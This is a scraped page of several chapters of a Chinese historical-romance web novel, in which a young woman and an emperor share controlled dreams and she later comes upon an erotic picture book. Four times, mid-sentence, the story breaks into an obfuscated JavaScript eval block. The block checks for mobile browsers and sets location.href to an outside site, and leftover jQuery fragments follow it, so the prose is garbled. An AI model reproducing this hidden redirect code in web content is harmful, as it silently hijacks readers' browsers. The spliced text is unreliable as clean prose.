像这种人多的场合,寄瑶一般都安安静静坐在一旁,微笑倾听,极少主动开口。
——当然,大多数时候话题也不在她身上。
今天也是这样。姑母先向三妹妹道了贺,又打趣几句,随后才提起一事:“你们芸表姐下个月出阁,你们姐妹一场,也去送嫁吧。”
姑母口中的“芸表姐”名唤赵金芸,比寄瑶大一岁,去年定的亲。
闻言,三姑娘知瑶立刻含笑答允:“好呀好呀,我们一定去。”
小妹梦瑶也附和:“嗯,去的。”
寄瑶跟着点头。
她一向如此,在姐妹中老老实实,从不特殊,并不惹人注意。
这是寄瑶特有的生存之道。
……
入夜后,海棠院安安静静,寄瑶也再次进入梦乡。
可能是因为白天姑母提到芸表姐出阁之事,她竟又梦到父母谈论她的亲事。
梦里,寄瑶和少年一道站在堂前。
父亲沉吟道:“你们每天这样,也有点不像话。干脆就挑个时间先把婚事办了吧。”
母亲微微蹙眉:“会不会太早了一些?”
“是有点早,可咱们家招赘,是添人,早有早的好。”父亲振振有词。
母亲略一思忖:“你说的有道理,那就早些办喜事。”
面对父母的决定,寄瑶只佯作害羞说一句:“但凭爹娘做主。”
至于她身侧的少年,则点头表示赞同。
梦境和现实毕竟有些差别,要办喜事,极其容易。
一转眼的功夫,家里张灯结彩,添红挂绿,寄瑶的房间也装扮成了婚房模样。
夜晚,烛光摇曳。
母亲拿来一身喜服,让寄瑶试穿:“好孩子,这是娘一针一线缝制的。娘没别的奢求,只盼着你能一生平安喜乐。”
——这是堂姐出阁前,大伯母说的话。
当时大伯母说着说着就掉下泪来。
如今变成母亲说给自己听,寄瑶听得心里又酸又暖。她接过喜服,却不急着换,而是一把抱住母亲,低声道:“娘,我好想你。”
“说什么傻话呢?”母亲轻轻推了她一把,嗔怪道,“娘不是一直在你身边吗?”
“嗯。”寄瑶重重点头,心想,也是。只要她一直控梦,爹娘就会一直陪着她。
不知不觉中,太阳升起,须臾间已是成亲当日。
寄瑶身穿喜服,祭祖、迎亲,又从桃林中接到了新郎。
现实中,她还没有见过入赘。是以梦中的招赘婚礼简单之余,略微有些怪异。
新郎一身喜服,盖头覆面,被人搀扶着,同她在华堂中拜天地。
……
秦渊进入梦中时,发现自己正坐在床上,头顶不知道遮盖着什么东西。
入目是一片红,耳边能听见女子的调笑声。
“呦呦呦,新郎官是不是害羞了?”
“还不知道新郎官长什么样呢。”
“别急,别急,等会儿揭了盖头就知道了。”
众人你一言,我一语,谈笑无忌。
秦渊心头升起一股无名火,蹭蹭直冒。
他想掀掉头上碍事的东西,离开这鬼地方。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077399|195268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可惜梦中行事不受他控制,只能继续坐着。
又来了。
这怪梦怎么阴魂不散?
数日前,秦渊命人撤掉了寝殿中的安息香。
他的失眠旧症又犯了。——一夜最多只能睡一两个时辰,而且睡的极不安稳,似睡非睡,似醒非醒。
今夜迷迷糊糊睡着,不料,竟又一次入梦。
看来怪梦一事,和安息香关系不大。
“新娘子来啦。”突然,不知道是谁吆喝了一声。
四周顿时安静下来,一双精美的丛头履闯入秦渊的视线。
紧接着,伴随一声“新人掀盖头了”,少年头上的遮盖物被人用一杆缠着红绒的喜秤揭掉。
视野陡然变得开阔起来。
秦渊抬眸,看向面前身着锦绣喜服、微微含笑的少女。
他紧紧盯着她的脸。虽然依旧记不住,但他很确定:又是她。
第四次了。
近来,他一而再,再而三地陷入怪梦,都与面前这个女子有关。
这人到底是谁?
秦渊凝神,杀意再一次漫上心头。
目光扫过周遭环境,知道两人大概是在成婚。秦渊不由想起小时候曾听乳母讲过的“阴桃花”。
他从不信鬼神之说,但不知怎么,此刻脑海里那个念头越来越清晰:难道他遇上的就是传说中的“阴桃花”?
就在他怀疑之际,他已接过了旁人递来的酒盏,与她把臂同饮。
两人离得极近,秦渊能清楚地看到她轻颤的睫羽,闻到她身上传来的淡淡清香。
不等他细看,一盏酒就已入腹。
甘甜,清冽,不见多少酒味。
寄瑶轻舒一口气。
果真是她的梦,连酒都合她口味。
婚礼的具体步骤,寄瑶记得不多。两人喝了交杯酒后,围观的众人陆续散去。
新房内只剩下他们两人。
龙凤喜烛照得房间亮堂堂的,红色的床帐无风自动。
喜庆而暧昧。
寄瑶偏头看向身侧的新郎,开口说道:“郎君,我会对你好的。”
“这话应该我说才对。”秦渊听到自己这样说,“时候不早了,我们是不是该休息了?”
话一说出口,他心脏就狠狠一跳。
直奔主题,难道接下来就要吸人元气?
秦渊想立刻终止这个梦,但无论默念多少次“醒来”,他依然深陷梦中。
寄瑶不知道他的想法。她曾经听人说过“春宵一刻值千金”,可到底是怎么个“值千金”法,她并不清楚。只隐约知道,应该是床帏之中很羞人的事情。
于是,她的脸一点一点红了。
心思微动间,郎君抬手轻轻按在她的肩头。迎着她紧张而又期待的目光,解开了她华丽的外衫。
寄瑶脸颊胀红,忽然想起发冠,低声提醒:“发冠。”
秦渊的视线掠过自己的手,心里怒意与杀意交织。但这具身体有自己的想法——他动作温柔、小心去解她头上的发饰,似乎生怕伤到她分毫。
与此同时,寄瑶也伸手帮他宽衣。
女子柔软的手不知是有意还是无意,轻拂他的身体。
秦渊气息一滞。
5. 荒唐
明明各方面不受他控制,可偏偏五感皆有,感受也异常真实。
秦渊想扼住女子的手,阻止她接下来的动作。
但事与愿违。
他脱下了她的衣裳,抱着她上榻,并小心放下帷帐。
两人枕着一样的枕头,相拥躺在床上这一小方天地中。
身上盖有绣着鸳鸯戏水的锦被,如云的墨发交缠在一处。锦被下,两人只着寝衣的身体也不免碰在一起。
鼻端尽是馨香,触手皆是柔软。秦渊只觉得胸口气血翻涌,有燥热感自小腹窜起,在他体内游走。
他急需做点什么。
或杀人,或破坏。
但这个梦境里,他的行动不由自己控制。因此,他进不得,退不得,不上不下地僵在那里。
寄瑶对此毫无所觉。
她先前从未与男子离得这样近过,此刻能清楚地听到不知道是自己还是对方的心跳声。
悄悄握住身侧郎君的手,寄瑶又在他身上轻戳了一下,还凑过去亲了亲他的嘴唇。
唇畔柔软的触感传来,秦渊身子更僵,只觉得莫名的燥意要喷涌而出。
而寄瑶已经又退了回去。
抱了,亲了,躺了,还戳了他一下。
这般亲密,应该就是洞房花烛夜的“春宵”了吧?
是比较刺激,但似乎……还好?
远不到值千金的地步啊。
寄瑶想不明白,她干脆阖上了眼睛:“睡吧。”
她得缓一缓,让自己平静一些。
身侧的女子很快没了声响。秦渊微怔,好半晌才回过神,心中满是不可置信:就这?没了?
她前期折腾那么久,到这儿竟然没了?
当然,不得不说这样没后续更好,更合他心意。可他心内的怒火并未因此而消散多少,只有一种被恶意作弄的愤恨。
四下里安安静静,秦渊仍困在这个梦中。
梦一如先前几次那样真实,周遭浅浅淡淡的香气越来越浓,他甚至能听到女子均匀的呼吸声。
那声音很轻,几不可闻。但秦渊听在耳中,只觉烦躁之意甚重。
一时之间,他竟分不清,这和失眠头痛比起来,哪个更难以忍受。
……
秦渊清醒过来时,因失眠而带来的头痛已缓解了许多。可一想到梦中情形,他就不由地面色发沉。
太荒唐了。
接连四次做这种怪梦,秦渊如何能忍?
他素来不信鬼神之说,还曾出于政治考量,不顾朝臣反对,坚决打击佛教。但这回,他命令心腹内监去紫云观宣云鹤道人入宫觐见。
——秦渊想知道,那怪梦到底怎么一回事。
若是鬼就捉鬼,若是妖就降妖。无论如何,他都不希望那个女人继续出现在他梦里。
“陛下要宣云鹤道人?”太监统领常守安微讶,生平头一次怀疑自己的耳朵。
云鹤道人在京中名气不小,传言说他能联通神仙、预判吉凶。有不少达官贵族私下请他帮忙看相、算命。但陛下,不是从来不信这些吗?
秦渊阖了阖眼睛:“速去!”
“是。”常守安匆忙应下,心中暗暗称奇。
怪哉,难道陛下要抑佛崇道吗?但这种大事,不是他一个内监该问的。在御前当值数年,他很清楚什么话能说,什么话不能说。
常守安领了皇帝口谕,不敢有片刻耽搁,立时动身前往京郊的紫云观。
本朝早前佛教兴盛,寺庙僧侣众多。与之相比,道教则远远不如。前两年,皇帝突然下旨收缴寺庙田产,又强令僧侣还俗。
紫云观的小道们有的兔死狐悲,生怕皇帝接下来就冲他们开刀。云鹤道人却安慰弟子,说他们道观田产不多,人数也少,不必有这方面的担忧。
如今宫里来人,众弟子心中不安。
然而云鹤道人格外镇定,只是稍稍有些意外:“陛下让我进宫?”
“是。”常守安笑笑,“道长,请吧。”
云鹤道人也不多问,当即更换衣裳,随着前往皇宫而去。
进宫后,等了约莫半个时辰,云鹤道人才见到皇帝。
一见之下,不由微微一怔。
年轻的天子不似传闻中那般形象可怖。相反,皇帝生得极为英俊,但皇权重威之下,无人敢直视天子。
饶是胆大如云鹤道人,也只匆匆瞧了一眼,就恭敬施礼。
“你就是云鹤道人?”秦渊目光低垂,居高临下扫了他一眼,语气听不出喜怒。
“回陛下,正是贫道。”
“听闻你能联通神明、预判吉凶?”
云鹤道人略一沉吟:“山野之人,不敢说联通神明,只是会一些卜卦、解梦的微末本领。”
秦渊眼神微变。
对于卜卦,他不感兴趣。但解梦,正是他现下急需的。他深知讳疾忌医的道理,想解决他当前的问题,就不该回避。可他毕竟是天子,顾忌颜面,梦中的一些隐秘也不想说给旁人听。
是以,秦渊只含糊说道:“朕近来时常做梦。梦中有一女子,屡次纠缠。”
云鹤道人微怔,心想,这说的也太简单了一些。但面对帝王,他不敢有任何怨怼,只得好脾气地问:“陛下的意思,那是同一个女子?”
“不错。”
“那名女子陛下可认得?是否还在人世?又是如何纠缠?”
秦渊垂眸,瞥了他一眼:“不认得,记不住她的脸。也不知道她是人是鬼。”
至于最后一个问题,他只当没有听见。
如此一来,云鹤道人也有些犯难。仅凭这几句话,他能解出什么?他生怕一不留神,触怒皇帝。
他不怕死,可他道观里还有好几个徒弟呢。
见他迟迟不答,秦渊耐心渐渐告罄:“你只需要告诉朕,这是妖鬼之流作祟,还是有人暗中作怪?”
皇帝的这个问题,相对而言要简单得多。
云鹤道长躬身行礼,回答得笃定:“回陛下,不是妖鬼之流。陛下是九五至尊,自有上天庇护。寻常妖鬼不敢近身。而且陛
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077400|195268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下周身炁场清正,身边绝无邪祟。”
秦渊轻“唔”一声,心想,这么说来,不是“阴桃花”。
也是,到关键时刻就停止,不像会吸人元气的。
“至于人为……”云鹤道人皱眉,缓缓说道,“这世上之人,能控制自己梦境的已是少数,更遑论别人的梦了。想来也不是人暗中作怪。”
秦渊拧了眉:“那是什么?”
不是妖鬼,也不是人。难道是他自己犯病?
“具体是什么缘故,贫道暂时不得而知。不过,若陛下不愿继续被梦所扰,贫道或许有办法解决。”云鹤道人又道。
“说,什么办法?”
“意识到自己在做梦时,刻意做与想法相反的行为,或许能立刻醒来。”
秦渊微微眯了眯眼睛:“若意识清醒,明知是梦,却无法采取任何行动呢?”
“这个……”云鹤道人有些犯难,略一思索,“如果会控梦,那也容易解决。”
“控梦?”
“是的。控梦,又名清明梦。”云鹤道人兴致勃勃,讲起具体如何控梦。从清醒时的想法、到睡前准备、再到梦中的应对。
末了,他又说道:“初时很难,也看天赋。有的人生来就会,有的人终其一生都无法学会。但若掌握了这项本领,就能在梦中上天入地、呼风唤雨,无所不能。”
秦渊哂笑。
他是皇帝,现实中有大量的事情要做。何须在梦中无所不能?他只是不想在梦里受制于人罢了。
说话间,有内监近前禀报,说兵部尚书有要紧事务求见。
秦渊有政务要忙,就先令云鹤道人退下。
怪梦一事,被他暂时抛之脑后。
……
清晨,寄瑶从睡梦中醒来。
她慢悠悠起床更衣、梳洗。一偏头,猛然想起今天是父亲的冥诞。
比起冥诞,方家更重视忌日。因此冥诞当天,府里也不特意祭奠。每年只有寄瑶到坟前祭祀一下,聊表孝心。
近来事情繁杂,也无人提醒,她竟给忘了。明明前些天还记得呢。
下午,寄瑶向女夫子告假,乘马车前往城外的方家坟茔。
因为之前方二太太祭祀时失踪一事,寄瑶出门祭奠,带了好几个侍从。二堂兄热心,也陪她一起前往。
一路平安无事。
其实寄瑶不太喜欢祭祀,并非她对父亲没有感情。而是每到祭祀时,她都会想起父亲已经不在人世这个事实。
梦境再真实,到底也不是真的。
跪在父亲坟前,寄瑶清楚地意识到:她的爹爹,再也回不来了。
回家后,她有些恹恹的,对什么都没兴趣。
包括控梦。
是以,这一夜,寄瑶早早入睡,没在梦上花一丁点心思。
而此时的紫宸宫内殿里,秦渊结束了一天的忙碌,准备就寝。
心思微动,他命人重新点上了有助眠功效的安息香。
他倒要试一试,那云鹤道人究竟本事如何。
6. 红痣
一夜无梦。
清早醒来时,秦渊颇觉意外。
他凝神认真回想了一会儿,确定昨夜是真的没有做梦。
奇怪。
当然,虽不清楚具体缘由,但夜间休息得好,又不被怪梦所扰。于他而言是件难得的好事。
这几日,皇帝心情不错。
寻常人或许察觉不到,但他身边侍奉的内监、以及跟随多年的老臣都能隐约看出一二。
比如方尚书,他作为三朝元老,在朝多年,敏锐地意识到了这一点。
皇帝心情好,他们这些做臣子的,心里一直紧绷的那根弦也能稍微松一松。
方尚书闲暇之际,甚至还去族学看了看。
在一片朗朗读书声中,方尚书想起了已逝的次子,继而又想起自己那个爱美、眼光极高的二孙女。
叹一口气,方尚书压下心头感伤,命人将自己一本棋谱给寄瑶送去。
——他记得老妻生前提过,说二孙女从小爱棋。
这一点,应该是随了他。
突然收到祖父命人送来的棋谱,寄瑶有些惊讶:“祖父给我的?给的时候,可曾说什么没有?”
“只说让把棋谱交给二姑娘,没说别的。”
寄瑶更不解了,所以就是祖父心血来潮送她一本棋谱吗?
长辈所赐,必须心怀感恩。
不管祖父是出于什么原因给的,寄瑶都得去当面请安、致谢。然而她求见祖父时,却被告知方尚书忙于公务,不在府上,让她先回去。
接下来数日,寄瑶又去几次,皆是一样的情况。
寄瑶无法,只得暂时作罢。
不过这般来回数次后,她原本因为父亲而有些低落的心情倒是渐渐恢复了正常。
这天晚上,寄瑶又做梦了。
梦里父亲在天上做神仙,骑着带翅膀的天马,格外神气。
“乖宝,你也上来试一试。”父亲翻身下马,拍了拍马背。
“好啊好啊。”寄瑶眼睛一亮,“那我也试试。”
她在现实中从来没有骑过马,但在梦里动作干净利落,一跃坐在马背上,手握缰绳,脊背挺直。
天马先是在地上奔跑,越跑越快,倏而展翅高飞起来。
寄瑶小心握着缰绳,任其纵横在云朵间,只觉说不出的畅美欢喜。
过得好一会儿,她才心中默念:“停,回家”。
眼前的一切瞬间消失不见,寄瑶又置身于种满桃树的海棠院。
——在天上飞很好玩,但她好像更喜欢梦里这个“家”。
有爹有娘,还有……郎君。
对了,郎君。
这段时日没有控梦,差点忘了,她在梦里是成过亲的人。也不知道梦中的郎君怎么样了。
思及此,寄瑶大步回到房间。
一走进去,就看到了刚入赘不久的郎君。
他正坐在窗下看书,见她进来,缓缓站起身,眉目清冷:“你去哪儿了?”
“我和爹爹一起骑马去了。”寄瑶说着近前几步,拉住他的手,笑吟吟问,“你是想我了吗?”
……
少女靠过来的那一刻,秦渊清楚地意识到,自己又做那个怪梦了。
近来他夜夜安睡,已有将近半个月不曾做梦。不成想,怪梦竟又卷土重来了。
他心中冷笑,但很快,就又调整了心态:正好可以借机练习那云鹤道人所说的“控梦”之法。
既然短时间内无法摆脱怪梦,那不妨成为梦中的主宰。
不管是现实还是梦境,他都不能受制于人。
然而控梦并不是一件容易的事情。
秦渊默默回想着云鹤道人所说的办法,尝试照做。可此刻,他的手仍被面前的女子握着。
他听到自己回答:“嗯,想了。”
“我就知道。”寄瑶嫣然一笑,让他重新坐下,自己则从他身后亲昵地揽住他的肩头,“我这几天可忙了,你不要生气嘛。”
少女柔软的身躯贴在他背上,馨香倏然而至。
“我没生气。”秦渊说着言不由衷的话,依照控梦的办法,试着让自己屏息。
下一刻,他果真没再闻到香气。
虽然这只是一个小小的变动,但秦渊仍是心中一震:居然真的屏息成功了。
这还是他第一次在怪梦里做成自己想做的事情。
看来只要掌握方法,从小细节处入手,假以时日,必能掌控全局。
寄瑶对此毫无所觉。
她习惯控梦,但也不是提前计划好梦中所有人的每一句话、每一个动作。只要大方向跟着她的内心就行。
“你刚才在看什么书?”寄瑶偏过头,有点没话找话。
郎君不答,示意她自己看。
寄瑶凑过去,定睛一看,惊讶出声:“《治水策》?”
咦,她内心深处居然这么关心时策的吗?只在祖父书房里瞥见过一眼的书,也能出现在她梦里?
“对。”秦渊回答,心下甚是遗憾。
看来目前他在梦里能控制的很少,而且时灵时不灵。不然,他大可以直接结束梦境,或是解决梦里的人。
不急,慢慢来。
他从来都不缺耐心。
因为是在梦里,所以寄瑶并不关注《治水策》的具体内容。——她不想看到一片空白。
她半靠在郎君身上,手指在他手心一点一点,百无聊赖。
秦渊不动声色,任她行动,默默尝试数次后,终于反握住了少女的手指。
又成功了。
秦渊乘胜出击,欲起身掀开趴在他背上的少女。
他动作极快,寄瑶微讶:不是温馨相处吗?难道她内心还有别的想法?
那,那就抱一下吧。
她心念一起,秦渊起身后的动作就骤然僵住,任由少女翩然转身,撞进了他的怀里。
温香软玉满怀,秦渊心内杀意再起。——竟又一次控梦失败了。
偏偏少女对此一无所知。她伸臂抱住他的腰,脸颊也在他胸前蹭了蹭。
此时两人离得太近了。
从秦渊的角度,能看到她耳后的一颗细小的红痣。仿佛皑皑白雪上的一点红梅,格外显眼。
渐渐地,那点红梅越来越模糊。
秦渊从梦中醒了过来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077401|195268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>他缓缓睁开眼睛,眼神晦暗。
……
清晨,寄瑶醒后,没有立刻起床。
她先在床上赖了一会儿,才坐起身,掀开了床帐。
明天是表姐赵金芸的大喜之日,方家姐妹今天要过去添妆。
——所谓添妆,是时下的习俗。指在成婚前一天,新娘的亲友向她赠送礼物,表达祝福。
女夫子得知此事,特意给方家姐妹放假两天。
收拾妥当后,寄瑶和四个堂妹一起乘车前往赵家。
明天就要办喜事了,赵家张灯结彩,装扮一新。
准新娘赵金芸正在闺房和母亲说话,听说外祖家的表妹们过来,既欢喜又羞涩,忙让人迎进来,笑问:“你们这么早就过来了?”
“给表姐添妆,不敢来迟。”三姑娘知瑶笑道,又和堂姐妹一道让丫鬟呈上她们准备的添妆礼。
方家姐妹们私下商量过,所赠的礼物或是金银首饰,或是精致脂粉,或是日常用品。都价值不菲,是新娘子以后生活能用到的。
赵金芸忙令丫鬟收下,拉着几个表妹说话。
小姐妹们许久未见,又是出阁这样的大事,彼此间似乎有说不完的悄悄话。
可惜作为准新娘,在成婚的前一天,赵金芸格外的忙碌。
赵家在京城年数不少,来为赵金芸添妆的人也多。除了外祖家的几个表妹,还有姑姑家的表姊妹、世交之女,以及相熟的邻家女儿。
大家携礼而至,满怀祝福。于情于理,她都该一一当面致谢。
“你们先别走,稍等一会儿,我去去就来。”赵金芸将几个表妹安置在偏厅,她自己则先去忙碌。
余下方家姐妹们一边饮茶,一边等表姐回来。
才饮了半盏茶,便听外面一阵喧闹声。
方梦瑶年纪最小,才九岁,一向坐不住。她听见动静,丢下一句:“我出去看看。”就小跑着去了外边。
长姐有孕没来,今天这一众姐妹里,寄瑶年纪最大,少不得要照看几个堂妹。如今小堂妹跑出去,寄瑶不放心,带着双喜追了出去。
京城寸土寸金,赵家的宅子只有两进。小孩子跑得快,一眨眼的功夫,就跑到了院子里。
这里更加热闹。
原来是赵家在晒嫁妆,依着旧俗,燃放爆竹以驱邪庆贺。
新娘十三岁的弟弟赵金德也拿了几串小炮仗。
“表哥,也给我一个,让我试试。”梦瑶看得眼馋,跃跃欲试。
赵金德怕伤着她,只塞给她一个小孩玩的“滴滴金儿”。转眼看见寄瑶,也递了一个过去:“表姐,给,你也玩。”
寄瑶接过,却并不准备玩,只不错眼地盯着堂妹。
她不愿扫堂妹的兴致,但也是真的不放心。
谁知梦瑶胡闹,竟一声不吭将点燃的“滴滴金儿”塞进寄瑶手里。
看见骤然呲出的火光,寄瑶吓了一跳,下意识便想丢在地上。偏又怕场面太过难看,只能硬生生忍住。
她高举着手,让它离她远远的。
忽然,寄瑶听见一声轻笑。紧接着是一个爽朗的声音:“怕什么?这又不会出事。”
7. 风月
这声音很陌生。
寄瑶一怔,循声望去,见是一个十八九岁的年轻男子。他身量颇高,气质疏朗,正盯着她手上的“滴滴金儿”,脸上带着些许好玩的笑意。
她不认得此人,也无意深交,便只点一点头。便转过头去,催堂妹回偏厅:“咱们快回去吧,别让你姐姐她们担心。”
“哦,好吧。”梦瑶耷拉着脑袋,心虚极了。
她知道二姐姐胆小,但没想到居然连五岁小孩也能玩的“滴滴金儿”都害怕。
不过因为这点儿心虚,梦瑶不好意思再胡闹,任由二姐姐拉着手,乖乖返回偏厅。
姐妹二人离开时,隐约听到身后赵金德激动的声音:“表哥,你也来了!”
“当然,这样大的事,我怎么能不来?”是方才那个爽朗的声音。
寄瑶心念微动,赵家表弟称这人为“表哥”,她却不认得,那定然是他父亲那边的亲戚。
听表姐说过,赵家姐弟有三个姑姑,都在京中。大约是其中一家的。
当然这和她关系不大。
两姐妹很快回到偏厅,这时赵家表姐还没回来。
几个姑娘在偏厅等了好一会儿,赵金芸才匆匆赶至,带着满脸歉意:“真是对不住,让你们久等了。”
“不碍事,我们也没等多久。”都知道她忙,大家又怎会介意?
赵金芸没有亲姐妹,和舅舅家的表妹们关系极好。她将几人带进卧房,大大方方展示成亲当日要穿的喜服、披帛、绣着珍珠的鞋子,以及明日要梳的发式、要用的脂粉。
众人齐齐惊叹。
赵金芸又和表妹们分享自己的喜悦和不安。
素日爽朗的姑娘,面对成亲这样的大事,也难免紧张。
寄瑶话不多,但她素来喜静,是个合格的倾听者。至于安慰的话,则由堂妹们来说。
不知不觉中,天色渐晚,赵金芸不舍得表妹们,提议让她们留宿。
“这恐怕不行……”寄瑶面露难色。若只有她一个人也就算了,可她这次带了四个堂妹,最小的才九岁,哪敢在外面过夜?
“那好吧,你们明天一定要早早来。”赵金芸明白她的顾虑,不再强求。
寄瑶应下,点一点头。
说话间,忙碌了许久的姑母也赶了过来,出言挽留:“你们几个孩子也真是的。这是姑母家,又不是旁的地方。何必来回折腾?再说我已经让人收拾了客房。”
她举止匆匆。一抬手,一本薄薄的册子竟从她袖中掉了下来。
“啪”的一声轻响,好巧不巧,正掉在寄瑶身前。
寄瑶见状,也没多想,当即弯腰去捡。
不料,姑母竟神情立变,以迅雷不及掩耳之势,劈手将那册子夺了过去。
寄瑶毫无防备,匆忙中只瞧见册子上《枕间风月图》五个字。一眨眼的功夫,那册子就被姑母塞进了袖袋里。
“我……”寄瑶瞪圆了一双眼睛,连忙解释,“姑姑,我刚才只是帮忙捡一下。”
天地良心,她绝对没有要昧下那册子的意思。
姑母方沛笑得尴尬:“我知道。好孩子,姑姑没别的意思。只是这册子是给新娘子看的,要给新娘压箱底。没出阁的小姑娘看不得。”
明天女儿就要出嫁,方沛想私下教导她一些房中事,便将一本秘戏图藏进袖子里,本打算待无人时,悄悄塞给女儿。不成想竟当着侄女的面掉落下来。
唉,早知道应该揣怀里的。
还好这个侄女老实木讷,应该什么也没看见。
“嗯。”寄瑶素来乖巧安静,听姑母这样说,也不多问。她同姑母、表姐作别,和几个堂妹一起回方宅去。
坐在回去的马车里,梦瑶好奇地问:“二姐姐,那是本什么书啊?怎么姑姑紧张成那样?”
“我也不知道。”鬼使神差的,寄瑶撒了个小谎,没提画册的名字,只说一句,“刚才没看清。”
一旁的知瑶却抬了抬下巴:“我知道一点。”
“是什么?三姐姐你说。”
“好像是什么图。大姐姐成婚第三天回门的时候,我隐约听见了几句。小梦瑶,你别急,等你成亲的时候就知道了。”
梦瑶才九岁,听到“成亲”二字,又羞又急,转头向年纪最长的寄瑶告状:“二姐姐,你看三姐姐,她又欺负人。”
“谁欺负人了?明明是你先问的。”知瑶故意冲妹妹扮个鬼脸。
“你们不要吵。”寄瑶很少做这种“主持公道”的事情,也不太擅长。她有些生硬地转换话题,“我们明天什么时候动身出发?”
知瑶想了想:“我们去送嫁,当然是越早越好。”
“嗯。”梦瑶点头附和。
话题转移后,几人安静了下来,寄瑶悄悄松一口气。
不知怎么,她突然又想起从姑姑袖子里掉出的那本图册。
当时她只是无意间瞥了一眼,并不清楚册子里面的具体内容,但根据姑姑的语气和堂妹的猜测。寄瑶隐隐约约知道,它和内帷之事有关。
她不免心生好奇。
而且那册子的封皮有些眼熟。好像在哪里见过一样。
在哪里呢?
寄瑶一时想不起来,也就没有深想。
一行人回到方宅,已经时候不早。寄瑶又用了一些夜宵,洗漱过后,便早早休息。
迷迷糊糊,即将睡着的时候。寄瑶心思一动,突然睁开眼睛。
她想起来了!
那本《枕间风月图》她的确曾经见过,就在父亲的书房里。
当时父亲还在人世,她才五六岁,识字不多。有一天,她偷偷溜进父亲书房里玩,想翻一些带图画的册子。无意间翻到了一本,可惜还未打开,就被父亲发现了。
“乖宝,这不是你能看的。”父亲将那本画册藏在书柜高处一本厚书里,另寻了一本画册给她看。
时间过去多年,她几乎都要
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077402|195268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
忘记了。但今天那本册子艳丽的封面以及“风月图”三个字,勾起了她的旧日回忆。
想起旧事,寄瑶睡意消散了许多。
她叹一口气,过得一会儿才又睡去。
可能是想到了小时候的事情。这一夜,寄瑶梦见了自己小时候。
父母都很年轻,父亲将她半抱在怀里,教她认字。
母亲在旁边做针线,说端阳节快到了,要给她做五毒肚兜,驱赶邪祟,保佑她健康长大。
寄瑶知道自己在做梦。但这画面太过温馨,她也不想刻意控制,干脆就以小孩子的身份在梦中和父母相处。
一夜好梦。
次日,寄瑶早早起床。匆匆收拾妥当,她和堂妹们再次前往赵家。
今天是表姐成婚的正日子,三婶婶和四婶婶也同她们姐妹一道过去。
有长辈陪同,寄瑶此行不用太操心。她索性将心放回肚子里,安安静静地看表姐被人围着上妆、换衣、祭祖、请辞、哭嫁。
先前见过堂姐出嫁,如今再看表姐。其实流程差不多,但寄瑶还是忍不住数次红了眼眶。
在一片爆竹声中,新娘子被背上了花轿。
迎亲的队伍离去,赵家恢复了安静。
姑母不停地落泪。
——京城习俗,在成亲当日,新娘子的叔伯、兄弟随着迎亲的队伍,将新娘送到夫家去。新娘的父母却不能一同前往。
几个女眷纷纷劝慰:“哭什么?大喜的日子,不兴哭的。姑爷人品端正,离得也不远。想姑娘了,随时都能见的。”
“我知道。”姑母一边擦拭眼睛,一边说着,“让你们见笑了,我本来没想哭的。”
道理她都懂,只是情难自抑。
寄瑶能猜出姑母没说出口的话,她默默递上一方帕子,又将茶盏递给姑母。
她心里隐隐闪过一个念头:要是爹娘还在,他们肯定也不舍得她出嫁。
方沛终于止住了眼泪。
见时候不早,方家三太太和四太太携一众小辈回府。
一行人回到家中,天已经黑了。几个姑娘明日还要去女学上课。
然而寄瑶并不急着入睡。她稍作休息,也不让人相陪,独自提一盏灯,推开了父亲书房的门。
父亲离世近十年,这书房一直保持原样,每隔一段时日都有专人打扫。
寄瑶依照记忆走到书柜旁边,提灯细看。果真在书柜上方发现那本厚厚的书。
看见它,寄瑶一颗心蓦的提了起来。
看来她的记忆没有错。只是不知道它里面到底是什么。
寄瑶稳一稳心神,抬手取下那本厚书。
厚书里面居然是空的,中间藏了一本薄薄的册子。
灯光下,她看得分明,是《枕间风月图》。封面上还有几行小字:内帷必备,画工精美。
带着满满的好奇,寄瑶打开了这本册子。
只看一眼,她便腾地红了脸。
8. 尝试
册子上画的竟然是一对赤条条的男女,就那样搂抱在一处。
